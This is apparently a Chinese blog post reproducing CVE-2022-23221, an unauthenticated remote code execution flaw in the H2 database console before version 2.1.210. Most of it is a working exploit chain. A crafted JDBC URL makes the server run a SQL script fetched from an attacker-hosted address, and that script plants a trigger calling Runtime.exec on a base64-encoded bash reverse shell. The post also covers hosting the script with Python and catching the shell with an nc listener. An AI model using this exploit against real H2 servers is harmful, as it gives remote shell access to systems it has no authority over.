h2database RCE(CVE-2022-23221)
描述:
Java SQL 数据库 H2。H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL 执行任意代码
默认端口:20051
参考链接:H2 database漏洞复现 - Running_J - 博客园
进入管理界面,注意以下部分更改:
javax.naming.InitialContext
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

连接成功创建数据库

在本地创建一个数据库文件h2.sql(这里反弹shell的base64编码用自己的):
CREATE TABLE test ( id INT NOT NULL ); CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,<反弹shell>}|{base64,-d}|{bash,-i}");';
在h2.sql同级目录下用python开启vps使得能够访问vps上的sql文件:

开启nc监听反弹shell:

最后在登录连接界面url重新填写去访问我们的sql文件:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://<IP:端口>/h2.sql';\
成功反弹shell


浙公网安备 33010602011771号